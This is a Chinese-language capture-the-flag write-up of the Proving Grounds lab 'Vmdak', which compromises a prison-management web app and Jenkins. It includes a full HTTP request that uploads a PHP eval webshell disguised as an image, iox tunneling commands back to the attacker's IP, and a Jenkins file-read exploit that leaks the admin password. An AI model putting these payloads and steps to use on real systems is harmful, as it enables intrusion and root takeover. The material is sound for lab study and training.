PG_Vmdak

信息收集：

┌──(root㉿cyborg)-[~/tools]└─# nmap -p- -Pn -A -sS -T4 192.168.119.103Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-02 13:35 CSTNmap scan report for 192.168.119.103Host is up (0.080s latency).Not shown: 65531 closed tcp ports (reset)PORT     STATE SERVICE  VERSION21/tcp   open  ftp      vsftpd 3.0.5| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r--    1 0        0            1752 Sep 19 15:01 config.xml| ftp-syst: |   STAT: | FTP server status:|      Connected to 192.168.45.184|      Logged in as ftp|      TYPE: ASCII|      No session bandwidth limit|      Session timeout in seconds is 300|      Control connection is plain text|      Data connections will be plain text|      At session startup, client count was 3|      vsFTPd 3.0.5 - secure, fast, stable|_End of status22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)80/tcp   open  http     Apache httpd 2.4.58 ((Ubuntu))|_http-server-header: Apache/2.4.58 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It works9443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))|_http-server-header: Apache/2.4.58 (Ubuntu)|_http-title:  Home - Prison Management System| tls-alpn: |_  http/1.1|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=vmdak.local/organizationName=PrisonManagement/stateOrProvinceName=California/countryName=US| Subject Alternative Name: DNS:vmdak.local| Not valid before: 2024-08-20T09:21:33|_Not valid after:  2025-08-20T09:21:33Device type: general purpose|routerRunning: Linux 5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)Network Distance: 4 hopsService Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 143/tcp)HOP RTT      ADDRESS1   79.32 ms 192.168.45.12   79.27 ms 192.168.45.2543   79.34 ms 192.168.251.14   79.44 ms 192.168.119.103OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 58.17 seconds

nmap结果显示存在ftp匿名登录

┌──(root㉿cyborg)-[/home/…/oscp/pg/linux/vmdak]└─# ftp 192.168.119.103Connected to 192.168.119.103.220 (vsFTPd 3.0.5)Name (192.168.119.103:cyborg): Anonymous331 Please specify the password.Password: 230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.

是一个xml文件，没发现明显的凭证信息，先放着，看nmap结果还开放了80http和9443https，80是apache默认页面，9443页面有应用

右上角有一个后台登录页面，检索漏洞发现一个sql注入

使用万能密码成功登录系统

在后台添加用户这里添加用户可以上传头像，但是直接上传不行，需要保存的时候拦截包，将php文件的Content-Type:改为image/jpg，或者发下面的数据包（修改admin头像在这里应该也可以，我没试了

POST /Admin/add-admin.php HTTP/1.1Host: 192.168.119.103:9443Cookie: PHPSESSID=r90vr8b3iil3k59rt5ferbju48User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------66692625221901068043240654100Content-Length: 878Origin: https://192.168.119.103:9443Referer: https://192.168.119.103:9443/Admin/add-admin.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: keep-alive-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="txtusername"admin123-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="txtfullname"admin123-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="txtpassword"admin123-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="txtphone"admin123-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="avatar"; filename="shell.php"Content-Type: image/jpgGIF89a<?php @eval($_REQUEST['shell']); ?>-----------------------------66692625221901068043240654100Content-Disposition: form-data; name="btncreate"-----------------------------66692625221901068043240654100--

右键打开图像地址成功getshell

反弹shell

开放了8080，并且是root身份运行的，但外部无法访问

使用iox搭建隧道

kali运行(配置socks5代理，127.0.0.1:1080)./iox proxy -l 2222 -l 1080靶机运行(192.168.45.184是攻击机IP)./iox proxy -r 192.168.45.184:2222

浏览器socks5代理到本机1080端口，然后访问127.0.0.1:8080即可访问到靶机的8080端口，是个Jenkins页面!

刚开始刚好通过ftp获得了Jenkins的一些配置信息

注意一个配置，配置了匿名登录，但是失败了

<denyAnonymousReadAccess>false</denyAnonymousReadAccess>

一开始用的searchsploit，搜到的漏洞有点老了，bing搜索找到一个任意文件读取(CVE-2024-23897)：https://github.com/godylockz/CVE-2024-23897

成功读取

拿到proof和local（之前能低权限RCE，ls /home看一下找到用户直接读取local就行）

这里还是想读取/root/.jenkins/secrets/initialAdminPassword登录系统试试，读取到密码140ef31373034d19a77baa9c6b84a200

创建一个job，在这里启动shell，输入反弹shell命令

save后点击build now即可收到root的shell